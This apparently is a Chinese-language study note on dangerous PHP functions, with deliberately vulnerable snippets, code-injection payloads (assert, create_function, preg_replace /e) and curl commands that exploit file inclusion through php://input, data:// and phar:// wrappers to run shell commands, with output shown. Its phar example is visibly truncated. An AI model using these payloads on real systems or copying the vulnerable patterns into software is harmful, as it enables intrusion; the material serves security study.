复习一下PHP中常见的危险函数:
文件读取
file_get_contents(),该函数可以读取其他协议造成SSRF
1
2
3$src=$_GET['src'];
$homepage = file_get_contents($src);
echo $homepage;highlight_file(),高亮显示文件内容
- show_source(),highlight_file()的别名
- fopen()、fread(),fgets()、fgetss()、fpassthru()等
- fread(fopen($filename,”r”), $size); //读取
$size
长度的文件 - fgets(fopen($filename, “r”)); //读取一行
- fgetss(fopen($filename, “r”)); //读取一行并过滤HTML标记
- fpassthru(fopen($filename, “r”)); //读取到文件结束
- fread(fopen($filename,”r”), $size); //读取
readfile(),读取文件并返回至页面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$file = $_GET['file'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}file(),把文件读进数组中
- php_strip_whitespace(),读取一个php文件并返回一个去掉注释和换行的文本,有意思的是,该函数可以去掉任意语言的注释,只要这个语言的注释风格与php相同并且在文件头加入
<?php
就行可: - parse_ini_file(),只能读取ini文件
命令执行
- system()
- shell_exec(),和
system()
差不多 - passthru(),返回二进制的输出
- exec(‘ls’, $array),返回结果保存在
array
中 - pcntl_exec(),不返回结果
popen(),返回一个文件指针
1
2
3$handle = popen("/bin/ls", "r");
var_dump(fpassthru($handle));
pclose($handle);proc_open(),增强型
popen()
,允许有三个通道(输入,输出,错误)- `(反单引号)
- escapeshellcmd() // 该函数用于过滤字符保证不执行其他恶意指令
代码执行
- eval(“phpinfo();”)
assert(),原用法是assert失败后,调用回调函数,它会将参数作为代码执行。
1
2$num=$_GET['num'];
assert("is_int($num)");payload为
num=1)%20and%20phpinfo();//
,注意若前面的条件不满足则用or,如a)%20or%20phpinfo();//
preg_replace + ‘/e’,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码,如
1
echo preg_replace("/test/e",$_GET["cmd"],"just test");
payload为
cmd=phpinfo()
,注意该方法只在php 5.5.0以下版本有效。create_function($args, $code),创建一个匿名函数,由于内部是eval实现的,所以存在安全性问题,如:
1
2
3
4
5$sort_by = $_GET['sort_by'];
$databases=array('1234','4321');
$sort_function = 'return strcmp($a["'.$sort_by.'"], $b["'.$sort_by.'"]);';
usort($databases, create_function('$a, $b', $sort_function));
print_r($databases);构造payload的关键在于将create_function还原为eval实现的普通函数,接着按上下文闭合先前的函数逻辑(这里为strcmp)再加上其他语句
;}phpinfo();/*
,总之确保eval中的字符串拼接成一个php符合语法的语句:1
2
3
4
5eval(
'function lambda($a, $b){
return strcmp($a["'.$sort_by.'"], $b["'.$sort_by.'"]); //replace with create_function
}'
);由此payload为
sort_by="]);}phpinfo();/*
,此时eval中的字符串拼接成:1
2
3
4function lambda($a, $b){
return strcmp($a[""]);
}
phpinfo();/*"], $b[""]);}phpinfo();/*"]); }call_user_func(callable $func, $arg),调用func($arg),若func可指定为assert则存在代码执行:
1
2
3$a=$_GET['a'];
$b=$_GET['b'];
call_user_func($a, $b);payload为
a=assert&b=phpinfo()
call_user_func_array(callable $func , array $args_arr),调用func,参数为数组
$args_arr
:1
2
3$a=$_GET['a'];
$b=$_GET['b'];
call_user_func_array($a, $b);payload为
a=assert&b[]=phpinfo()
array_map(callable $func, array $array1 [, array $… ]),将array中的元素应用到$callback函数上,有点像Python的map
1
2
3$a=$_GET['a'];
$b=$_GET['b'];
array_map($a, $b);payload为
a=assert&b[]=phpinfo()
- ob_start(),用法如下(只能显示一行):
1
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
文件上传
- move_uploaded_file()
- getimagesize() //验证文件头只要为GIF89a,就会返回真
文件包含
- require(),程序一运行就包含该文件
- include(),执行到include时包含该文件
- require_once(),include_once():若已包含过则不再包含
- allow_url_include = on,打开远程文件包含
变量覆盖
- extract()
- import_request_variables()
- parse_str()
- mb_parse_str()
全局变量覆盖:register_globals为ON,$GLOBALS
伪协议
php://filter,结合base64读取文件用,如:
1
2
3
4
5$ curl http://localhost/include.php?file=php://filter/read=convert.base64-encode/resource=include.php|base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 45 100 45 0 0 5000 0 --:--:-- --:--:-- --:--:-- 5000
<?php include($_GET['file']);?>php://input,将post作为输入,在远程文件包含和file_get_contents()时可以利用造成RCE,如:
1
2
3
4
5
6
7$ curl -X POST http://localhost/include.php?file=php://input --data "<?php system('ls -al');?>"
total 126
drwxr-xr-x 1 Anemone 197121 0 Feb 8 11:22 .
drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg
-rw-r--r-- 1 Anemone 197121 2117 Sep 21 21:53 aizhixi.phpdata://,将data后的get请求作为输入,在远程文件包含时可造成RCE,如:
1
2
3
4
5
6
7
8
9
10$ echo "<?php system('ls -al');?>"|base64
PD9waHAgc3lzdGVtKCdscyAtYWwnKTs/Pgo=
$ curl "http://localhost/include.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAtYWwnKTs/Pgo="
total 126
drwxr-xr-x 1 Anemone 197121 0 Feb 8 11:22 .
drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg
-rw-r--r-- 1 Anemone 197121 2117 Sep 21 21:53 aizhixi.phpzip://、compress.bzip2://、compress.zlib://,读取一个.zip/.bz2/.gz文件中的文件,可以将一句话压缩造成RCE:
1
2
3
4
5
6
7
8
9
10$ echo "<?php echo system('ls -al');?>" > ls.php
$ zip -r shell.zip ls.php
adding: ls.php (stored 0%)
# 上传后
$ curl "http://localhost/include.php?file=phar://./shell.zip/ls.php"
total 128
drwxr-xr-x 1 Anemone 197121 0 Feb 8 16:11 .
drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpgphar://,读取一个phar/zip文件,可以利用成RCE:
1
2
3
4
5
6
7
8
9
10
11
12
13$ cat phar.php
<?php
?>' ;
$phar->setStub('<?php __HALT_COMPILER();?>');
?>
$ php phar.php
# 上传phar后
$ curl "http://localhost/include.php?file=phar://./shell.phar/shell.php" --data "cmd=system('ls -al');"
12321total 128
drwxr-xr-x 1 Anemone 197121 0 Feb 8 16:11 .
drwxr-xr-x 1 Anemone 197121 0 May 6 2018 ..
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:56 1075875011_1.jpg
-rw-r--r-- 1 Anemone 197121 27877 Sep 21 20:58 852730535_1.jpg